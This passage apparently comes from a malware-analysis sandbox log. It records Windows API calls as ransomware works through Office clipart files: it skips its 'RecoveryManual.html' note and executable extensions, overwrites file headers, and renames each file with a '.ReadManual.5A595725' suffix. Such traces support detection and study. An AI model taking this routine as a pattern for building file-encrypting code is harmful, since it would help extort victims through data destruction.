(lpFirst="SO00257_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.363] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.363] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.364] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.364] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.364] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.364] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.364] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.364] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.364] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.364] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.364] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.364] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.364] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.364] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.364] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF" [0274.364] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF.ReadManual.5A595725" [0274.364] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF.ReadManual.5A595725") returned 87 [0274.364] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39503269195) returned 1 [0274.364] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf")) returned 0x20 [0274.364] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.365] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=18286) returned 1 [0274.365] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x476e, lpName=0x0) returned 0x184 [0274.365] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.365] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.366] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.367] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.367] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x476e) returned 0x2f0000 [0274.367] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.367] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39503626575) returned 1 [0274.368] CloseHandle (hObject=0x184) returned 1 [0274.368] SetSecurityInfo () returned 0x57 [0274.368] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.368] CloseHandle (hObject=0x194) returned 1 [0274.368] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7c6d00, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f7c6d00, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0xd8e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00289_.WMF", cAlternateFileName="")) returned 1 [0274.368] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00289_.WMF" | out: lpString1="SO00289_.WMF") returned="SO00289_.WMF" [0274.368] lstrcmpiW (lpString1="SO00289_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.368] StrStrIW (lpFirst="SO00289_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.368] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.368] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.368] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.368] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.368] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.368] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.368] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.368] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.368] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.368] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.368] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.368] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.368] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.368] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.368] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF" [0274.368] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF.ReadManual.5A595725" [0274.368] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF.ReadManual.5A595725") returned 87 [0274.368] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39503719621) returned 1 [0274.368] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf")) returned 0x20 [0274.369] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.369] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=55520) returned 1 [0274.369] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd8e0, lpName=0x0) returned 0x184 [0274.369] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.370] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.370] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.374] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.374] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd8e0) returned 0x2f0000 [0274.376] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.376] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39504482501) returned 1 [0274.376] CloseHandle (hObject=0x184) returned 1 [0274.376] SetSecurityInfo () returned 0x57 [0274.376] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.376] CloseHandle (hObject=0x194) returned 1 [0274.376] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba531a00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba531a00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x10cb8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00299_.WMF", cAlternateFileName="")) returned 1 [0274.376] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00299_.WMF" | out: lpString1="SO00299_.WMF") returned="SO00299_.WMF" [0274.376] lstrcmpiW (lpString1="SO00299_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.376] StrStrIW (lpFirst="SO00299_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.376] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.377] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.377] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.377] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.377] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.377] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.377] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.377] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.377] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.377] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.377] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.377] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.377] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.377] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.377] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF" [0274.377] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF.ReadManual.5A595725" [0274.377] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF.ReadManual.5A595725") returned 87 [0274.377] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39504574263) returned 1 [0274.377] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf")) returned 0x20 [0274.377] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.378] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=68792) returned 1 [0274.378] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10cb8, lpName=0x0) returned 0x184 [0274.378] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.379] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.379] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.381] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.381] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10cb8) returned 0x1de0000 [0274.383] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0274.383] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39505171812) returned 1 [0274.383] CloseHandle (hObject=0x184) returned 1 [0274.383] SetSecurityInfo () returned 0x57 [0274.383] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.383] CloseHandle (hObject=0x194) returned 1 [0274.383] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d82d600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7d82d600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7a04, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00305_.WMF", cAlternateFileName="")) returned 1 [0274.383] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00305_.WMF" | out: lpString1="SO00305_.WMF") returned="SO00305_.WMF" [0274.383] lstrcmpiW (lpString1="SO00305_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.383] StrStrIW (lpFirst="SO00305_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.383] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.383] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.383] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.383] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.383] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.384] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.384] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.384] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.384] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.384] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.384] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.384] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.384] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.384] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.384] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF" [0274.384] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF.ReadManual.5A595725" [0274.384] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF.ReadManual.5A595725") returned 87 [0274.384] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39505262002) returned 1 [0274.384] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf")) returned 0x20 [0274.385] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.385] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31236) returned 1 [0274.385] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7a04, lpName=0x0) returned 0x184 [0274.385] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.386] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.386] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.388] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.388] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7a04) returned 0x2f0000 [0274.388] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.389] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39505738014) returned 1 [0274.389] CloseHandle (hObject=0x184) returned 1 [0274.389] SetSecurityInfo () returned 0x57 [0274.389] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.389] CloseHandle (hObject=0x194) returned 1 [0274.389] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b207c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b207c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xee4a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00333_.WMF", cAlternateFileName="")) returned 1 [0274.389] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00333_.WMF" | out: lpString1="SO00333_.WMF") returned="SO00333_.WMF" [0274.389] lstrcmpiW (lpString1="SO00333_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.389] StrStrIW (lpFirst="SO00333_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.389] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.389] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.389] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.389] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.389] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.389] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.389] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.389] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.389] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.389] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.389] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.389] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.389] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.389] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.389] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF" [0274.389] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF.ReadManual.5A595725" [0274.389] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF.ReadManual.5A595725") returned 87 [0274.390] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39505829990) returned 1 [0274.390] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf")) returned 0x20 [0274.390] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.390] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=61002) returned 1 [0274.390] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xee4a, lpName=0x0) returned 0x184 [0274.390] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.391] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.391] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.393] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.393] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xee4a) returned 0x2f0000 [0274.395] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.395] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39506367541) returned 1 [0274.395] CloseHandle (hObject=0x184) returned 1 [0274.395] SetSecurityInfo () returned 0x57 [0274.395] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.395] CloseHandle (hObject=0x194) returned 1 [0274.395] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0e04300, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0e04300, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x8b96, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00345_.WMF", cAlternateFileName="")) returned 1 [0274.395] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00345_.WMF" | out: lpString1="SO00345_.WMF") returned="SO00345_.WMF" [0274.395] lstrcmpiW (lpString1="SO00345_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.395] StrStrIW (lpFirst="SO00345_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.395] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.395] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.395] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.395] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.395] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.395] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.395] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.396] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.396] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.396] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.396] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.396] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.396] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.396] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.396] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF" [0274.396] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft 